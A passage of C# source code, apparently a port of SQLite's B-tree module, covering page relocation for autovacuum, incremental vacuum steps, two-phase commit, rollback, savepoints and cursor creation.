Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      rc = btreeInitPage(pPage);\n      if (rc != SQLITE_OK)\n      {\n        goto set_child_ptrmaps_out;\n      }\n      nCell = pPage.nCell;\n\n      for (i = 0; i < nCell; i++)\n      {\n        int pCell = findCell(pPage, i);\n\n        ptrmapPutOvflPtr(pPage, pCell, ref rc);\n\n        if (0 == pPage.leaf)\n        {\n          Pgno childPgno = sqlite3Get4byte(pPage.aData, pCell);\n          ptrmapPut(pBt, childPgno, PTRMAP_BTREE, pgno, ref rc);\n        }\n      }\n\n      if (0 == pPage.leaf)\n      {\n        Pgno childPgno = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8);\n        ptrmapPut(pBt, childPgno, PTRMAP_BTREE, pgno, ref rc);\n      }\n\n    set_child_ptrmaps_out:\n      pPage.isInit = isInitOrig;\n      return rc;\n    }\n\n    /*\n    ** Somewhere on pPage is a pointer to page iFrom.  Modify this pointer so\n    ** that it points to iTo. Parameter eType describes the type of pointer to\n    ** be modified, as  follows:\n    **\n    ** PTRMAP_BTREE:     pPage is a btree-page. The pointer points at a child\n    **                   page of pPage.\n    **\n    ** PTRMAP_OVERFLOW1: pPage is a btree-page. The pointer points at an overflow\n    **                   page pointed to by one of the cells on pPage.\n    **\n    ** PTRMAP_OVERFLOW2: pPage is an overflow-page. The pointer points at the next\n    **                   overflow page in the list.\n    */\n    static int modifyPagePointer(MemPage pPage, Pgno iFrom, Pgno iTo, u8 eType)\n    {\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      if (eType == PTRMAP_OVERFLOW2)\n      {\n        /* The pointer is always the first 4 bytes of the page in this case.  */\n        if (sqlite3Get4byte(pPage.aData) != iFrom)\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        sqlite3Put4byte(pPage.aData, iTo);\n      }\n      else\n      {\n        u8 isInitOrig = pPage.isInit;\n        int i;\n        int nCell;\n\n        btreeInitPage(pPage);\n        nCell = pPage.nCell;\n\n        for (i = 0; i < nCell; i++)\n        {\n          int pCell = findCell(pPage, i);\n          if (eType == PTRMAP_OVERFLOW1)\n          {\n            CellInfo info = new CellInfo();\n            btreeParseCellPtr( pPage, pCell, ref info );\n            if (info.iOverflow != 0)\n            {\n              if (iFrom == sqlite3Get4byte(pPage.aData, pCell, info.iOverflow))\n              {\n                sqlite3Put4byte(pPage.aData, pCell + info.iOverflow, (int)iTo);\n                break;\n              }\n            }\n          }\n          else\n          {\n            if (sqlite3Get4byte(pPage.aData, pCell) == iFrom)\n            {\n              sqlite3Put4byte(pPage.aData, pCell, (int)iTo);\n              break;\n            }\n          }\n        }\n\n        if (i == nCell)\n        {\n          if (eType != PTRMAP_BTREE ||\n          sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8) != iFrom)\n          {\n#if SQLITE_DEBUG || DEBUG\n            return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n          }\n          sqlite3Put4byte(pPage.aData, pPage.hdrOffset + 8, iTo);\n        }\n\n        pPage.isInit = isInitOrig;\n      }\n      return SQLITE_OK;\n    }\n\n\n    /*\n    ** Move the open database page pDbPage to location iFreePage in the\n    ** database. The pDbPage reference remains valid.\n    **\n    ** The isCommit flag indicates that there is no need to remember that\n    ** the journal needs to be sync()ed before database page pDbPage.pgno\n    ** can be written to. The caller has already promised not to write to that\n    ** page.\n    */\n    static int relocatePage(\n    BtShared pBt,           /* Btree */\n    MemPage pDbPage,        /* Open page to move */\n    u8 eType,                /* Pointer map 'type' entry for pDbPage */\n    Pgno iPtrPage,           /* Pointer map 'page-no' entry for pDbPage */\n    Pgno iFreePage,          /* The location to move pDbPage to */\n    int isCommit             /* isCommit flag passed to sqlite3PagerMovepage */\n    )\n    {\n      MemPage pPtrPage = new MemPage();   /* The page that contains a pointer to pDbPage */\n      Pgno iDbPage = pDbPage.pgno;\n      Pager pPager = pBt.pPager;\n      int rc;\n\n      Debug.Assert(eType == PTRMAP_OVERFLOW2 || eType == PTRMAP_OVERFLOW1 ||\n      eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE);\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(pDbPage.pBt == pBt);\n\n      /* Move page iDbPage from its current location to page number iFreePage */\n      TRACE(\"AUTOVACUUM: Moving %d to free page %d (ptr page %d type %d)\\n\",\n      iDbPage, iFreePage, iPtrPage, eType);\n      rc = sqlite3PagerMovepage(pPager, pDbPage.pDbPage, iFreePage, isCommit);\n      if (rc != SQLITE_OK)\n      {\n        return rc;\n      }\n      pDbPage.pgno = iFreePage;\n\n      /* If pDbPage was a btree-page, then it may have child pages and/or cells\n      ** that point to overflow pages. The pointer map entries for all these\n      ** pages need to be changed.\n      **\n      ** If pDbPage is an overflow page, then the first 4 bytes may store a\n      ** pointer to a subsequent overflow page. If this is the case, then\n      ** the pointer map needs to be updated for the subsequent overflow page.\n      */\n      if (eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE)\n      {\n        rc = setChildPtrmaps(pDbPage);\n        if (rc != SQLITE_OK)\n        {\n          return rc;\n        }\n      }\n      else\n      {\n        Pgno nextOvfl = sqlite3Get4byte(pDbPage.aData);\n        if (nextOvfl != 0)\n        {\n          ptrmapPut(pBt, nextOvfl, PTRMAP_OVERFLOW2, iFreePage, ref rc);\n          if (rc != SQLITE_OK)\n          {\n            return rc;\n          }\n        }\n      }\n\n      /* Fix the database pointer on page iPtrPage that pointed at iDbPage so\n      ** that it points at iFreePage. Also fix the pointer map entry for\n      ** iPtrPage.\n      */\n      if (eType != PTRMAP_ROOTPAGE)\n      {\n        rc = btreeGetPage(pBt, iPtrPage, ref pPtrPage, 0);\n        if (rc != SQLITE_OK)\n        {\n          return rc;\n        }\n        rc = sqlite3PagerWrite(pPtrPage.pDbPage);\n        if (rc != SQLITE_OK)\n        {\n          releasePage(pPtrPage);\n          return rc;\n        }\n        rc = modifyPagePointer(pPtrPage, iDbPage, iFreePage, eType);\n        releasePage(pPtrPage);\n        if (rc == SQLITE_OK)\n        {\n          ptrmapPut(pBt, iFreePage, eType, iPtrPage, ref rc);\n        }\n      }\n      return rc;\n    }\n\n    /* Forward declaration required by incrVacuumStep(). */\n    //static int allocateBtreePage(BtShared *, MemPage **, Pgno *, Pgno, u8);\n\n    /*\n    ** Perform a single step of an incremental-vacuum. If successful,\n    ** return SQLITE_OK. If there is no work to do (and therefore no\n    ** point in calling this function again), return SQLITE_DONE.\n    **\n    ** More specificly, this function attempts to re-organize the\n    ** database so that the last page of the file currently in use\n    ** is no longer in use.\n    **\n    ** If the nFin parameter is non-zero, this function assumes\n    ** that the caller will keep calling incrVacuumStep() until\n    ** it returns SQLITE_DONE or an error, and that nFin is the\n    ** number of pages the database file will contain after this\n    ** process is complete.  If nFin is zero, it is assumed that\n    ** incrVacuumStep() will be called a finite amount of times\n    ** which may or may not empty the freelist.  A full autovacuum\n    ** has nFin>0.  A \"PRAGMA incremental_vacuum\" has nFin==null.\n    */\n    static int incrVacuumStep(BtShared pBt, Pgno nFin, Pgno iLastPg)\n    {\n      Pgno nFreeList;           /* Number of pages still on the free-list */\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(iLastPg > nFin);\n\n      if (!PTRMAP_ISPAGE(pBt, iLastPg) && iLastPg != PENDING_BYTE_PAGE(pBt))\n      {\n        int rc;\n        u8 eType = 0;\n        Pgno iPtrPage = 0;\n\n        nFreeList = sqlite3Get4byte(pBt.pPage1.aData, 36);\n        if (nFreeList == 0)\n        {\n          return SQLITE_DONE;\n        }\n\n        rc = ptrmapGet(pBt, iLastPg, ref eType, ref iPtrPage);\n        if (rc != SQLITE_OK)\n        {\n          return rc;\n        }\n        if (eType == PTRMAP_ROOTPAGE)\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n\n        if (eType == PTRMAP_FREEPAGE)\n        {\n          if (nFin == 0)\n          {\n            /* Remove the page from the files free-list. This is not required\n            ** if nFin is non-zero. In that case, the free-list will be\n            ** truncated to zero after this function returns, so it doesn't\n            ** matter if it still contains some garbage entries.\n            */\n            Pgno iFreePg = 0;\n            MemPage pFreePg = new MemPage();\n            rc = allocateBtreePage(pBt, ref pFreePg, ref iFreePg, iLastPg, 1);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n            Debug.Assert(iFreePg == iLastPg);\n            releasePage(pFreePg);\n          }\n        }\n        else\n        {\n          Pgno iFreePg = 0;             /* Index of free page to move pLastPg to */\n          MemPage pLastPg = new MemPage();\n\n          rc = btreeGetPage(pBt, iLastPg, ref pLastPg, 0);\n          if (rc != SQLITE_OK)\n          {\n            return rc;\n          }\n\n          /* If nFin is zero, this loop runs exactly once and page pLastPg\n          ** is swapped with the first free page pulled off the free list.\n          **\n          ** On the other hand, if nFin is greater than zero, then keep\n          ** looping until a free-page located within the first nFin pages\n          ** of the file is found.\n          */\n          do\n          {\n            MemPage pFreePg = new MemPage();\n            rc = allocateBtreePage(pBt, ref pFreePg, ref iFreePg, 0, 0);\n            if (rc != SQLITE_OK)\n            {\n              releasePage(pLastPg);\n              return rc;\n            }\n            releasePage(pFreePg);\n          } while (nFin != 0 && iFreePg > nFin);\n          Debug.Assert(iFreePg < iLastPg);\n\n          rc = sqlite3PagerWrite(pLastPg.pDbPage);\n          if (rc == SQLITE_OK)\n          {\n            rc = relocatePage(pBt, pLastPg, eType, iPtrPage, iFreePg, (nFin != 0) ? 1 : 0);\n          }\n          releasePage(pLastPg);\n          if (rc != SQLITE_OK)\n          {\n            return rc;\n          }\n        }\n      }\n\n      if (nFin == 0)\n      {\n        iLastPg--;\n        while (iLastPg == PENDING_BYTE_PAGE(pBt) || PTRMAP_ISPAGE(pBt, iLastPg))\n        {\n          if (PTRMAP_ISPAGE(pBt, iLastPg))\n          {\n            MemPage pPg = new MemPage();\n            int rc = btreeGetPage(pBt, iLastPg, ref pPg, 0);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n            rc = sqlite3PagerWrite(pPg.pDbPage);\n            releasePage(pPg);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n          }\n          iLastPg--;\n        }\n        sqlite3PagerTruncateImage(pBt.pPager, iLastPg);\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** A write-transaction must be opened before calling this function.\n    ** It performs a single unit of work towards an incremental vacuum.\n    **\n    ** If the incremental vacuum is finished after this function has run,\n    ** SQLITE_DONE is returned. If it is not finished, but no error occurred,\n    ** SQLITE_OK is returned. Otherwise an SQLite error code.\n    */\n    static int sqlite3BtreeIncrVacuum(Btree p)\n    {\n      int rc;\n      BtShared pBt = p.pBt;\n\n      sqlite3BtreeEnter(p);\n      Debug.Assert(pBt.inTransaction == TRANS_WRITE && p.inTrans == TRANS_WRITE);\n      if (!pBt.autoVacuum)\n      {\n        rc = SQLITE_DONE;\n      }\n      else\n      {\n        invalidateAllOverflowCache(pBt);\n        rc = incrVacuumStep(pBt, 0, pagerPagecount(pBt));\n      }\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** This routine is called prior to sqlite3PagerCommit when a transaction\n    ** is commited for an auto-vacuum database.\n    **\n    ** If SQLITE_OK is returned, then pnTrunc is set to the number of pages\n    ** the database file should be truncated to during the commit process.\n    ** i.e. the database has been reorganized so that only the first pnTrunc\n    ** pages are in use.\n    */\n    static int autoVacuumCommit(BtShared pBt)\n    {\n      int rc = SQLITE_OK;\n      Pager pPager = pBt.pPager;\n      // VVA_ONLY( int nRef = sqlite3PagerRefcount(pPager) );\n#if !NDEBUG || DEBUG\n      int nRef = sqlite3PagerRefcount(pPager);\n#else\nint nRef=0;\n#endif\n\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      invalidateAllOverflowCache(pBt);\n      Debug.Assert(pBt.autoVacuum);\n      if (!pBt.incrVacuum)\n      {\n        Pgno nFin;         /* Number of pages in database after autovacuuming */\n        Pgno nFree;        /* Number of pages on the freelist initially */\n        Pgno nPtrmap;      /* Number of PtrMap pages to be freed */\n        Pgno iFree;        /* The next page to be freed */\n        int nEntry;        /* Number of entries on one ptrmap page */\n        Pgno nOrig;        /* Database size before freeing */\n\n        nOrig = pagerPagecount(pBt);\n        if (PTRMAP_ISPAGE(pBt, nOrig) || nOrig == PENDING_BYTE_PAGE(pBt))\n        {\n          /* It is not possible to create a database for which the final page\n          ** is either a pointer-map page or the pending-byte page. If one\n          ** is encountered, this indicates corruption.\n          */\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n\n        nFree = sqlite3Get4byte(pBt.pPage1.aData, 36);\n        nEntry = pBt.usableSize / 5;\n        nPtrmap = (Pgno)(( nFree - nOrig + PTRMAP_PAGENO( pBt, nOrig ) + (Pgno)nEntry ) / nEntry);\n        nFin = nOrig - nFree - nPtrmap;\n        if (nOrig > PENDING_BYTE_PAGE(pBt) && nFin < PENDING_BYTE_PAGE(pBt))\n        {\n          nFin--;\n        }\n        while (PTRMAP_ISPAGE(pBt, nFin) || nFin == PENDING_BYTE_PAGE(pBt))\n        {\n          nFin--;\n        }\n        if (nFin > nOrig)\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n\n        for (iFree = nOrig; iFree > nFin && rc == SQLITE_OK; iFree--)\n        {\n          rc = incrVacuumStep(pBt, nFin, iFree);\n        }\n        if ((rc == SQLITE_DONE || rc == SQLITE_OK) && nFree > 0)\n        {\n          rc = SQLITE_OK;\n          rc = sqlite3PagerWrite(pBt.pPage1.pDbPage);\n          sqlite3Put4byte(pBt.pPage1.aData, 32, 0);\n          sqlite3Put4byte(pBt.pPage1.aData, 36, 0);\n          sqlite3PagerTruncateImage(pBt.pPager, nFin);\n        }\n        if (rc != SQLITE_OK)\n        {\n          sqlite3PagerRollback(pPager);\n        }\n      }\n\n      Debug.Assert(nRef == sqlite3PagerRefcount(pPager));\n      return rc;\n    }\n\n#else //* ifndef SQLITE_OMIT_AUTOVACUUM */\n//# define setChildPtrmaps(x) SQLITE_OK\n#endif\n\n    /*\n** This routine does the first phase of a two-phase commit.  This routine\n** causes a rollback journal to be created (if it does not already exist)\n** and populated with enough information so that if a power loss occurs\n** the database can be restored to its original state by playing back\n** the journal.  Then the contents of the journal are flushed out to\n** the disk.  After the journal is safely on oxide, the changes to the\n** database are written into the database file and flushed to oxide.\n** At the end of this call, the rollback journal still exists on the\n** disk and we are still holding all locks, so the transaction has not\n** committed.  See sqlite3BtreeCommitPhaseTwo() for the second phase of the\n** commit process.\n**\n** This call is a no-op if no write-transaction is currently active on pBt.\n**\n** Otherwise, sync the database file for the btree pBt. zMaster points to\n** the name of a master journal file that should be written into the\n** individual journal file, or is NULL, indicating no master journal file\n** (single database transaction).\n**\n** When this is called, the master journal should already have been\n** created, populated with this journal pointer and synced to disk.\n**\n** Once this is routine has returned, the only thing required to commit\n** the write-transaction for this database file is to delete the journal.\n*/\n    static int sqlite3BtreeCommitPhaseOne(Btree p, string zMaster)\n    {\n      int rc = SQLITE_OK;\n      if (p.inTrans == TRANS_WRITE)\n      {\n        BtShared pBt = p.pBt;\n        sqlite3BtreeEnter(p);\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (pBt.autoVacuum)\n        {\n          rc = autoVacuumCommit(pBt);\n          if (rc != SQLITE_OK)\n          {\n            sqlite3BtreeLeave(p);\n            return rc;\n          }\n        }\n#endif\n        rc = sqlite3PagerCommitPhaseOne(pBt.pPager, zMaster, false);\n        sqlite3BtreeLeave(p);\n      }\n      return rc;\n    }\n\n    /*\n    ** This function is called from both BtreeCommitPhaseTwo() and BtreeRollback()\n    ** at the conclusion of a transaction.\n    */\n    static void btreeEndTransaction(Btree p)\n    {\n      BtShared pBt = p.pBt;\n      BtCursor pCsr;\n      Debug.Assert(sqlite3BtreeHoldsMutex(p));\n\n      /* Search for a cursor held open by this b-tree connection. If one exists,\n      ** then the transaction will be downgraded to a read-only transaction\n      ** instead of actually concluded. A subsequent call to CommitPhaseTwo()\n      ** or Rollback() will finish the transaction and unlock the database.  */\n      for (pCsr = pBt.pCursor; pCsr != null && pCsr.pBtree != p; pCsr = pCsr.pNext) ;\n      Debug.Assert(pCsr == null || p.inTrans > TRANS_NONE);\n\n      btreeClearHasContent(pBt);\n      if (pCsr != null)\n      {\n        downgradeAllSharedCacheTableLocks(p);\n        p.inTrans = TRANS_READ;\n      }\n      else\n      {\n        /* If the handle had any kind of transaction open, decrement the\n        ** transaction count of the shared btree. If the transaction count\n        ** reaches 0, set the shared state to TRANS_NONE. The unlockBtreeIfUnused()\n        ** call below will unlock the pager.  */\n        if (p.inTrans != TRANS_NONE)\n        {\n          clearAllSharedCacheTableLocks(p);\n          pBt.nTransaction--;\n          if (0 == pBt.nTransaction)\n          {\n            pBt.inTransaction = TRANS_NONE;\n          }\n        }\n\n        /* Set the current transaction state to TRANS_NONE and unlock the\n        ** pager if this call closed the only read or write transaction.  */\n        p.inTrans = TRANS_NONE;\n        unlockBtreeIfUnused(pBt);\n      }\n\n      btreeIntegrity(p);\n    }\n\n    /*\n    ** Commit the transaction currently in progress.\n    **\n    ** This routine implements the second phase of a 2-phase commit.  The\n    ** sqlite3BtreeCommitPhaseOne() routine does the first phase and should\n    ** be invoked prior to calling this routine.  The sqlite3BtreeCommitPhaseOne()\n    ** routine did all the work of writing information out to disk and flushing the\n    ** contents so that they are written onto the disk platter.  All this\n    ** routine has to do is delete or truncate or zero the header in the\n    ** the rollback journal (which causes the transaction to commit) and\n    ** drop locks.\n    **\n    ** This will release the write lock on the database file.  If there\n    ** are no active cursors, it also releases the read lock.\n    */\n    static int sqlite3BtreeCommitPhaseTwo(Btree p)\n    {\n      BtShared pBt = p.pBt;\n\n      sqlite3BtreeEnter(p);\n      btreeIntegrity(p);\n\n      /* If the handle has a write-transaction open, commit the shared-btrees\n      ** transaction and set the shared state to TRANS_READ.\n      */\n      if (p.inTrans == TRANS_WRITE)\n      {\n        int rc;\n        Debug.Assert(pBt.inTransaction == TRANS_WRITE);\n        Debug.Assert(pBt.nTransaction > 0);\n        rc = sqlite3PagerCommitPhaseTwo(pBt.pPager);\n        if (rc != SQLITE_OK)\n        {\n          sqlite3BtreeLeave(p);\n          return rc;\n        }\n        pBt.inTransaction = TRANS_READ;\n      }\n\n      btreeEndTransaction(p);\n      sqlite3BtreeLeave(p);\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Do both phases of a commit.\n    */\n    static int sqlite3BtreeCommit(Btree p)\n    {\n      int rc;\n      sqlite3BtreeEnter(p);\n      rc = sqlite3BtreeCommitPhaseOne(p, null);\n      if (rc == SQLITE_OK)\n      {\n        rc = sqlite3BtreeCommitPhaseTwo(p);\n      }\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n#if !NDEBUG || DEBUG\n    /*\n** Return the number of write-cursors open on this handle. This is for use\n** in Debug.Assert() expressions, so it is only compiled if NDEBUG is not\n** defined.\n**\n** For the purposes of this routine, a write-cursor is any cursor that\n** is capable of writing to the databse.  That means the cursor was\n** originally opened for writing and the cursor has not be disabled\n** by having its state changed to CURSOR_FAULT.\n*/\n    static int countWriteCursors(BtShared pBt)\n    {\n      BtCursor pCur;\n      int r = 0;\n      for (pCur = pBt.pCursor; pCur != null; pCur = pCur.pNext)\n      {\n        if (pCur.wrFlag != 0 && pCur.eState != CURSOR_FAULT) r++;\n      }\n      return r;\n    }\n#else\nstatic int countWriteCursors(BtShared pBt) { return -1; }\n#endif\n\n    /*\n** This routine sets the state to CURSOR_FAULT and the error\n** code to errCode for every cursor on BtShared that pBtree\n** references.\n**\n** Every cursor is tripped, including cursors that belong\n** to other database connections that happen to be sharing\n** the cache with pBtree.\n**\n** This routine gets called when a rollback occurs.\n** All cursors using the same cache must be tripped\n** to prevent them from trying to use the btree after\n** the rollback.  The rollback may have deleted tables\n** or moved root pages, so it is not sufficient to\n** save the state of the cursor.  The cursor must be\n** invalidated.\n*/\n    static void sqlite3BtreeTripAllCursors(Btree pBtree, int errCode)\n    {\n      BtCursor p;\n      sqlite3BtreeEnter(pBtree);\n      for (p = pBtree.pBt.pCursor; p != null; p = p.pNext)\n      {\n        int i;\n        sqlite3BtreeClearCursor(p);\n        p.eState = CURSOR_FAULT;\n        p.skipNext = errCode;\n        for (i = 0; i <= p.iPage; i++)\n        {\n          releasePage(p.apPage[i]);\n          p.apPage[i] = null;\n        }\n      }\n      sqlite3BtreeLeave(pBtree);\n    }\n\n    /*\n    ** Rollback the transaction in progress.  All cursors will be\n    ** invalided by this operation.  Any attempt to use a cursor\n    ** that was open at the beginning of this operation will result\n    ** in an error.\n    **\n    ** This will release the write lock on the database file.  If there\n    ** are no active cursors, it also releases the read lock.\n    */\n    static int sqlite3BtreeRollback(Btree p)\n    {\n      int rc;\n      BtShared pBt = p.pBt;\n      MemPage pPage1 = new MemPage();\n\n      sqlite3BtreeEnter(p);\n      rc = saveAllCursors(pBt, 0, null);\n#if !SQLITE_OMIT_SHARED_CACHE\nif( rc!=SQLITE_OK ){\n/* This is a horrible situation. An IO or malloc() error occurred whilst\n** trying to save cursor positions. If this is an automatic rollback (as\n** the result of a constraint, malloc() failure or IO error) then\n** the cache may be internally inconsistent (not contain valid trees) so\n** we cannot simply return the error to the caller. Instead, abort\n** all queries that may be using any of the cursors that failed to save.\n*/\nsqlite3BtreeTripAllCursors(p, rc);\n}\n#endif\n      btreeIntegrity(p);\n\n      if (p.inTrans == TRANS_WRITE)\n      {\n        int rc2;\n\n        Debug.Assert(TRANS_WRITE == pBt.inTransaction);\n        rc2 = sqlite3PagerRollback(pBt.pPager);\n        if (rc2 != SQLITE_OK)\n        {\n          rc = rc2;\n        }\n\n        /* The rollback may have destroyed the pPage1.aData value.  So\n        ** call btreeGetPage() on page 1 again to make\n        ** sure pPage1.aData is set correctly. */\n        if (btreeGetPage(pBt, 1, ref pPage1, 0) == SQLITE_OK)\n        {\n          releasePage(pPage1);\n        }\n        Debug.Assert(countWriteCursors(pBt) == 0);\n        pBt.inTransaction = TRANS_READ;\n      }\n\n      btreeEndTransaction(p);\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** Start a statement subtransaction. The subtransaction can can be rolled\n    ** back independently of the main transaction. You must start a transaction\n    ** before starting a subtransaction. The subtransaction is ended automatically\n    ** if the main transaction commits or rolls back.\n    **\n    ** Statement subtransactions are used around individual SQL statements\n    ** that are contained within a BEGIN...COMMIT block.  If a constraint\n    ** error occurs within the statement, the effect of that one statement\n    ** can be rolled back without having to rollback the entire transaction.\n    **\n    ** A statement sub-transaction is implemented as an anonymous savepoint. The\n    ** value passed as the second parameter is the total number of savepoints,\n    ** including the new anonymous savepoint, open on the B-Tree. i.e. if there\n    ** are no active savepoints and no other statement-transactions open,\n    ** iStatement is 1. This anonymous savepoint can be released or rolled back\n    ** using the sqlite3BtreeSavepoint() function.\n    */\n    static int sqlite3BtreeBeginStmt(Btree p, int iStatement)\n    {\n      int rc;\n      BtShared pBt = p.pBt;\n      sqlite3BtreeEnter(p);\n      Debug.Assert(p.inTrans == TRANS_WRITE);\n      Debug.Assert(!pBt.readOnly);\n      Debug.Assert(iStatement > 0);\n      Debug.Assert(iStatement > p.db.nSavepoint);\n      if (NEVER(p.inTrans != TRANS_WRITE || pBt.readOnly))\n      {\n        rc = SQLITE_INTERNAL;\n      }\n      else\n      {\n        Debug.Assert(pBt.inTransaction == TRANS_WRITE);\n        /* At the pager level, a statement transaction is a savepoint with\n        ** an index greater than all savepoints created explicitly using\n        ** SQL statements. It is illegal to open, release or rollback any\n        ** such savepoints while the statement transaction savepoint is active.\n        */\n        rc = sqlite3PagerOpenSavepoint(pBt.pPager, iStatement);\n      }\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** The second argument to this function, op, is always SAVEPOINT_ROLLBACK\n    ** or SAVEPOINT_RELEASE. This function either releases or rolls back the\n    ** savepoint identified by parameter iSavepoint, depending on the value\n    ** of op.\n    **\n    ** Normally, iSavepoint is greater than or equal to zero. However, if op is\n    ** SAVEPOINT_ROLLBACK, then iSavepoint may also be -1. In this case the\n    ** contents of the entire transaction are rolled back. This is different\n    ** from a normal transaction rollback, as no locks are released and the\n    ** transaction remains open.\n    */\n    static int sqlite3BtreeSavepoint(Btree p, int op, int iSavepoint)\n    {\n      int rc = SQLITE_OK;\n      if (p != null && p.inTrans == TRANS_WRITE)\n      {\n        BtShared pBt = p.pBt;\n        Debug.Assert(op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK);\n        Debug.Assert(iSavepoint >= 0 || (iSavepoint == -1 && op == SAVEPOINT_ROLLBACK));\n        sqlite3BtreeEnter(p);\n        rc = sqlite3PagerSavepoint(pBt.pPager, op, iSavepoint);\n        if (rc == SQLITE_OK)\n        {\n          rc = newDatabase(pBt);\n        }\n        sqlite3BtreeLeave(p);\n      }\n      return rc;\n    }\n\n    /*\n    ** Create a new cursor for the BTree whose root is on the page\n    ** iTable. If a read-only cursor is requested, it is assumed that\n    ** the caller already has at least a read-only transaction open\n    ** on the database already. If a write-cursor is requested, then\n    ** the caller is assumed to have an open write transaction.\n    **\n    ** If wrFlag==null, then the cursor can only be used for reading.\n    ** If wrFlag==1, then the cursor can be used for reading or for\n    ** writing if other conditions for writing are also met.  These\n    ** are the conditions that must be met in order for writing to\n    ** be allowed:\n    **\n    ** 1:  The cursor must have been opened with wrFlag==1\n    **\n    ** 2:  Other database connections that share the same pager cache\n    **     but which are not in the READ_UNCOMMITTED state may not have\n    **     cursors open with wrFlag==null on the same table.  Otherwise\n    **     the changes made by this write cursor would be visible to\n    **     the read cursors in the other database connection.\n    **\n    ** 3:  The database must be writable (not on read-only media)\n    **\n    ** 4:  There must be an active transaction.\n    **\n    ** No checking is done to make sure that page iTable really is the\n    ** root page of a b-tree.  If it is not, then the cursor acquired\n    ** will not work correctly.\n    **\n    ** It is assumed that the sqlite3BtreeCursorSize() bytes of memory\n    ** pointed to by pCur have been zeroed by the caller.\n    */\n    static int btreeCursor(\n    Btree p,                              /* The btree */\n    int iTable,                           /* Root page of table to open */\n    int wrFlag,                           /* 1 to write. 0 read-only */\n    KeyInfo pKeyInfo,                     /* First arg to comparison function */\n    BtCursor pCur                         /* Space for new cursor */\n    )\n    {\n      BtShared pBt = p.pBt;                 /* Shared b-tree handle */\n\n      Debug.Assert(sqlite3BtreeHoldsMutex(p));\n      Debug.Assert(wrFlag == 0 || wrFlag == 1);\n\n      /* The following Debug.Assert statements verify that if this is a sharable\n      ** b-tree database, the connection is holding the required table locks,\n      ** and that no other connection has any open cursor that conflicts with\n      ** this lock.  */\n      Debug.Assert(hasSharedCacheTableLock(p, (u32)iTable, pKeyInfo != null ? 1 : 0, wrFlag + 1));\n      Debug.Assert(wrFlag == 0 || !hasReadConflicts(p, (u32)iTable));\n\n      /* Assert that the caller has opened the required transaction. */\n      Debug.Assert(p.inTrans > TRANS_NONE);\n      Debug.Assert(wrFlag == 0 || p.inTrans == TRANS_WRITE);\n      Debug.Assert(pBt.pPage1 != null && pBt.pPage1.aData != null);\n\n      if (NEVER(wrFlag != 0 && pBt.readOnly))\n      {\n        return SQLITE_READONLY;\n      }\n      if (iTable == 1 && pagerPagecount(pBt) == 0)\n      {\n        return SQLITE_EMPTY;\n      }\n\n      /* Now that no other errors can occur, finish filling in the BtCursor\n      ** variables and link the cursor into the BtShared list.  */\n      pCur.pgnoRoot = (Pgno)iTable;\n      pCur.iPage = -1;\n      pCur.pKeyInfo = pKeyInfo;\n      pCur.pBtree = p;\n      pCur.pBt = pBt;\n      pCur.wrFlag = (u8)wrFlag;\n      pCur.pNext = pBt.pCursor;\n      if (pCur.pNext != null)\n      {\n        pCur.pNext.pPrev = pCur;\n      }\n      pBt.pCursor = pCur;\n      pCur.eState = CURSOR_INVALID;\n      pCur.cachedRowid = 0;\n      return SQLITE_OK;\n    }\n    static int sqlite3BtreeCursor(\n    Btree p,                                   /* The btree */\n    int iTable,                                /* Root page of table to open */\n    int wrFlag,                                /* 1 to write. 0 read-only */\n    KeyInfo pKeyInfo,                          /* First arg to xCompare() */\n    BtCursor pCur                              /* Write new cursor here */\n    )\n    {\n      int rc;\n      sqlite3BtreeEnter(p);\n      rc = btreeCursor(p, iTable, wrFlag, pKeyInfo, pCur);\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** Return the size of a BtCursor object in bytes.\n    **\n    ** This interfaces is needed so that users of cursors can preallocate\n    ** sufficient storage to hold a cursor.  The BtCursor object is opaque\n    ** to users so they cannot do the sizeof() themselves - they must call\n    ** this routine.\n    */\n    static int sqlite3BtreeCursorSize()\n    {\n      return -1; // Not Used --  sizeof( BtCursor );\n    }\n    /*\n    ** Set the cached rowid value of every cursor in the same database file\n    ** as pCur and having the same root page number as pCur.  The value is\n    ** set to iRowid.\n    **\n    ** Only positive rowid values are considered valid for this cache.\n    ** The cache is initialized to zero, indicating an invalid cache.\n    ** A btree will work fine with zero or negative rowids.  We just cannot\n    ** cache zero or negative rowids, which means tables that use zero or\n    ** negative rowids might run a little slower.  But in practice, zero\n    ** or negative rowids are very uncommon so this should not be a problem.\n    */\n    static void sqlite3BtreeSetCachedRowid(BtCursor pCur, 